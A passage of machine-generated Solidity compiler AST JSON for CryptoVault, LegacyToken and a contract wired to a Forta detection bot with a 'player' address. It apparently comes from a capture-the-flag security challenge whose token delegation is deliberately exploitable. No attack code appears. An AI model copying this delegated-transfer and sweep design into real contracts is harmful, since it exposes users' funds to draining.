(uint256)"}},"id":51640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1912:30:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51630,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51620,"src":"1875:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51632,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1881:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47906,"src":"1875:14:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":51641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1875:68:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":51642,"nodeType":"ExpressionStatement","src":"1875:68:71"}]},"functionSelector":"1be19560","implemented":true,"kind":"function","modifiers":[],"name":"sweepToken","nameLocation":"1760:10:71","parameters":{"id":51621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51620,"mutability":"mutable","name":"token","nameLocation":"1778:5:71","nodeType":"VariableDeclaration","scope":51644,"src":"1771:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"},"typeName":{"id":51619,"nodeType":"UserDefinedTypeName","pathNode":{"id":51618,"name":"IERC20","nameLocations":["1771:6:71"],"nodeType":"IdentifierPath","referencedDeclaration":47939,"src":"1771:6:71"},"referencedDeclaration":47939,"src":"1771:6:71","typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"visibility":"internal"}],"src":"1770:14:71"},"returnParameters":{"id":51622,"nodeType":"ParameterList","parameters":[],"src":"1792:0:71"},"scope":51645,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"CryptoVault","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51645],"name":"CryptoVault","nameLocation":"1379:11:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51720,"nodeType":"ContractDefinition","src":"1954:596:71","nodes":[{"id":51654,"nodeType":"VariableDeclaration","src":"2021:29:71","nodes":[],"constant":false,"functionSelector":"c89e4361","mutability":"mutable","name":"delegate","nameLocation":"2042:8:71","scope":51720,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51653,"nodeType":"UserDefinedTypeName","pathNode":{"id":51652,"name":"DelegateERC20","nameLocations":["2021:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2021:13:71"},"referencedDeclaration":51463,"src":"2021:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"public"},{"id":51669,"nodeType":"FunctionDefinition","src":"2057:93:71","nodes":[],"body":{"id":51668,"nodeType":"Block","src":"2116:34:71","nodes":[],"statements":[{"expression":{"arguments":[{"id":51664,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51656,"src":"2132:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51665,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51658,"src":"2136:6:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":51663,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"2126:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51666,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2126:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51667,"nodeType":"ExpressionStatement","src":"2126:17:71"}]},"functionSelector":"40c10f19","implemented":true,"kind":"function","modifiers":[{"id":51661,"kind":"modifierInvocation","modifierName":{"id":51660,"name":"onlyOwner","nameLocations":["2106:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2106:9:71"},"nodeType":"ModifierInvocation","src":"2106:9:71"}],"name":"mint","nameLocation":"2066:4:71","parameters":{"id":51659,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51656,"mutability":"mutable","name":"to","nameLocation":"2079:2:71","nodeType":"VariableDeclaration","scope":51669,"src":"2071:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51655,"name":"address","nodeType":"ElementaryTypeName","src":"2071:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51658,"mutability":"mutable","name":"amount","nameLocation":"2091:6:71","nodeType":"VariableDeclaration","scope":51669,"src":"2083:14:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51657,"name":"uint256","nodeType":"ElementaryTypeName","src":"2083:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2070:28:71"},"returnParameters":{"id":51662,"nodeType":"ParameterList","parameters":[],"src":"2116:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51682,"nodeType":"FunctionDefinition","src":"2156:114:71","nodes":[],"body":{"id":51681,"nodeType":"Block","src":"2231:39:71","nodes":[],"statements":[{"expression":{"id":51679,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51677,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2241:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51678,"name":"newContract","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51672,"src":"2252:11:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"src":"2241:22:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51680,"nodeType":"ExpressionStatement","src":"2241:22:71"}]},"functionSelector":"1d2d8400","implemented":true,"kind":"function","modifiers":[{"id":51675,"kind":"modifierInvocation","modifierName":{"id":51674,"name":"onlyOwner","nameLocations":["2221:9:71"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2221:9:71"},"nodeType":"ModifierInvocation","src":"2221:9:71"}],"name":"delegateToNewContract","nameLocation":"2165:21:71","parameters":{"id":51673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51672,"mutability":"mutable","name":"newContract","nameLocation":"2201:11:71","nodeType":"VariableDeclaration","scope":51682,"src":"2187:25:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"},"typeName":{"id":51671,"nodeType":"UserDefinedTypeName","pathNode":{"id":51670,"name":"DelegateERC20","nameLocations":["2187:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2187:13:71"},"referencedDeclaration":51463,"src":"2187:13:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"visibility":"internal"}],"src":"2186:27:71"},"returnParameters":{"id":51676,"nodeType":"ParameterList","parameters":[],"src":"2231:0:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51719,"nodeType":"FunctionDefinition","src":"2276:272:71","nodes":[],"body":{"id":51718,"nodeType":"Block","src":"2352:196:71","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51700,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51694,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2374:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}],"id":51693,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2366:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51692,"name":"address","nodeType":"ElementaryTypeName","src":"2366:7:71","typeDescriptions":{}}},"id":51695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2366:17:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"hexValue":"30","id":51698,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2395:1:71","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":51697,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2387:7:71","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":51696,"name":"address","nodeType":"ElementaryTypeName","src":"2387:7:71","typeDescriptions":{}}},"id":51699,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2387:10:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2366:31:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":51716,"nodeType":"Block","src":"2462:80:71","statements":[{"expression":{"arguments":[{"id":51710,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2509:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51711,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2513:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":51712,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2520:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2524:6:71","memberName":"sender","nodeType":"MemberAccess","src":"2520:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":51708,"name":"delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51654,"src":"2483:8:71","typeDescriptions":{"typeIdentifier":"t_contract$_DelegateERC20_$51463","typeString":"contract DelegateERC20"}},"id":51709,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2492:16:71","memberName":"delegateTransfer","nodeType":"MemberAccess","referencedDeclaration":51462,"src":"2483:25:71","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$_t_address_$returns$_t_bool_$","typeString":"function (address,uint256,address) external returns (bool)"}},"id":51714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2483:48:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51715,"nodeType":"Return","src":"2476:55:71"}]},"id":51717,"nodeType":"IfStatement","src":"2362:180:71","trueBody":{"id":51707,"nodeType":"Block","src":"2399:57:71","statements":[{"expression":{"arguments":[{"id":51703,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51684,"src":"2435:2:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":51704,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51686,"src":"2439:5:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":51701,"name":"super","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-25,"src":"2420:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_super$_LegacyToken_$51720_$","typeString":"type(contract super LegacyToken)"}},"id":51702,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2426:8:71","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"2420:14:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) returns (bool)"}},"id":51705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2420:25:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":51691,"id":51706,"nodeType":"Return","src":"2413:32:71"}]}}]},"baseFunctions":[47399],"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"2285:8:71","overrides":{"id":51688,"nodeType":"OverrideSpecifier","overrides":[],"src":"2328:8:71"},"parameters":{"id":51687,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51684,"mutability":"mutable","name":"to","nameLocation":"2302:2:71","nodeType":"VariableDeclaration","scope":51719,"src":"2294:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51683,"name":"address","nodeType":"ElementaryTypeName","src":"2294:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51686,"mutability":"mutable","name":"value","nameLocation":"2314:5:71","nodeType":"VariableDeclaration","scope":51719,"src":"2306:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51685,"name":"uint256","nodeType":"ElementaryTypeName","src":"2306:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2293:27:71"},"returnParameters":{"id":51691,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51690,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51719,"src":"2346:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51689,"name":"bool","nodeType":"ElementaryTypeName","src":"2346:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"2345:6:71"},"scope":51720,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"4c6567616379546f6b656e","id":51647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1984:13:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0ee2e886d48b449eae8c58f774e5f0080cabd01bbf86d262bcecfd0ead310326","typeString":"literal_string \"LegacyToken\""},"value":"LegacyToken"},{"hexValue":"4c4754","id":51648,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1999:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_40ef642736e132b36c3ad2894c4d80ce0afe649c34017ca8cb01deee50079ab7","typeString":"literal_string \"LGT\""},"value":"LGT"}],"baseName":{"id":51646,"name":"ERC20","nameLocations":["1978:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"1978:5:71"},"id":51649,"nodeType":"InheritanceSpecifier","src":"1978:27:71"},{"baseName":{"id":51650,"name":"Ownable","nameLocations":["2007:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2007:7:71"},"id":51651,"nodeType":"InheritanceSpecifier","src":"2007:7:71"}],"canonicalName":"LegacyToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51720,46700,47861,47964,47939,48281],"name":"LegacyToken","nameLocation":"1963:11:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]},{"id":51850,"nodeType":"ContractDefinition","src":"2552:1365:71","nodes":[{"id":51730,"nodeType":"VariableDeclaration","src":"2649:26:71","nodes":[],"constant":false,"functionSelector":"d444d8a0","mutability":"mutable","name":"cryptoVault","nameLocation":"2664:11:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51729,"name":"address","nodeType":"ElementaryTypeName","src":"2649:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51732,"nodeType":"VariableDeclaration","src":"2681:21:71","nodes":[],"constant":false,"functionSelector":"48db5f89","mutability":"mutable","name":"player","nameLocation":"2696:6:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51731,"name":"address","nodeType":"ElementaryTypeName","src":"2681:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51734,"nodeType":"VariableDeclaration","src":"2708:28:71","nodes":[],"constant":false,"functionSelector":"26fe9951","mutability":"mutable","name":"delegatedFrom","nameLocation":"2723:13:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51733,"name":"address","nodeType":"ElementaryTypeName","src":"2708:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":51737,"nodeType":"VariableDeclaration","src":"2742:18:71","nodes":[],"constant":false,"functionSelector":"d8670e1f","mutability":"mutable","name":"forta","nameLocation":"2755:5:71","scope":51850,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":51736,"nodeType":"UserDefinedTypeName","pathNode":{"id":51735,"name":"Forta","nameLocations":["2742:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"2742:5:71"},"referencedDeclaration":51577,"src":"2742:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"public"},{"id":51772,"nodeType":"FunctionDefinition","src":"2767:288:71","nodes":[],"body":{"id":51771,"nodeType":"Block","src":"2867:188:71","nodes":[],"statements":[{"expression":{"id":51750,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51748,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"2877:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51749,"name":"legacyToken","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51739,"src":"2893:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2877:27:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51751,"nodeType":"ExpressionStatement","src":"2877:27:71"},{"expression":{"id":51756,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51752,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51737,"src":"2914:5:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":51754,"name":"fortaAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51743,"src":"2928:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51753,"name":"Forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51577,"src":"2922:5:71","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Forta_$51577_$","typeString":"type(contract Forta)"}},"id":51755,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2922:19:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"src":"2914:27:71","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":51757,"nodeType":"ExpressionStatement","src":"2914:27:71"},{"expression":{"id":51760,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51758,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51732,"src":"2951:6:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51759,"name":"playerAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51745,"src":"2960:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2951:22:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51761,"nodeType":"ExpressionStatement","src":"2951:22:71"},{"expression":{"id":51764,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":51762,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"2983:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":51763,"name":"vaultAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51741,"src":"2997:12:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2983:26:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":51765,"nodeType":"ExpressionStatement","src":"2983:26:71"},{"expression":{"arguments":[{"id":51767,"name":"cryptoVault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51730,"src":"3025:11:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":51768,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3038:9:71","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"id":51766,"name":"_mint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47678,"src":"3019:5:71","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256)"}},"id":51769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3019:29:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51770,"nodeType":"ExpressionStatement","src":"3019:29:71"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":51746,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51739,"mutability":"mutable","name":"legacyToken","nameLocation":"2787:11:71","nodeType":"VariableDeclaration","scope":51772,"src":"2779:19:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51738,"name":"address","nodeType":"ElementaryTypeName","src":"2779:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51741,"mutability":"mutable","name":"vaultAddress","nameLocation":"2808:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2800:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51740,"name":"address","nodeType":"ElementaryTypeName","src":"2800:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51743,"mutability":"mutable","name":"fortaAddress","nameLocation":"2830:12:71","nodeType":"VariableDeclaration","scope":51772,"src":"2822:20:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51742,"name":"address","nodeType":"ElementaryTypeName","src":"2822:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51745,"mutability":"mutable","name":"playerAddress","nameLocation":"2852:13:71","nodeType":"VariableDeclaration","scope":51772,"src":"2844:21:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51744,"name":"address","nodeType":"ElementaryTypeName","src":"2844:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2778:88:71"},"returnParameters":{"id":51747,"nodeType":"ParameterList","parameters":[],"src":"2867:0:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":51784,"nodeType":"ModifierDefinition","src":"3061:115:71","nodes":[],"body":{"id":51783,"nodeType":"Block","src":"3089:87:71","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":51778,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":51775,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"3107:3:71","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":51776,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3111:6:71","memberName":"sender","nodeType":"MemberAccess","src":"3107:10:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":51777,"name":"delegatedFrom","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51734,"src":"3121:13:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"3107:27:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f74206c656761637920636f6e7472616374","id":51779,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3136:21:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""},"value":"Not legacy contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_d53c3dd2b8b8bbdc39671c54443b1e626049f3606ea5f078539eb33f51f6c68f","typeString":"literal_string \"Not legacy contract\""}],"id":51774,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3099:7:71","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":51780,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3099:59:71","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":51781,"nodeType":"ExpressionStatement","src":"3099:59:71"},{"id":51782,"nodeType":"PlaceholderStatement","src":"3168:1:71"}]},"name":"onlyDelegateFrom","nameLocation":"3070:16:71","parameters":{"id":51773,"nodeType":"ParameterList","parameters":[],"src":"3086:2:71"},"virtual":false,"visibility":"internal"},{"id":51824,"nodeType":"ModifierDefinition","src":"3182:480:71","nodes":[],"body":{"id":51823,"nodeType":"Block","src":"3205:457:71","nodes":[],"statements":[{"assignments":[51787],"declarations":[{"constant":false,"id":51787,"mutability":"mutable","name":"detectionBot","nameLocation":"3223:12:71","nodeType":"VariableDeclaration","scope":51823,"src":"3215:20:71","stateVariable":false,"storageLocation":"default","typeDe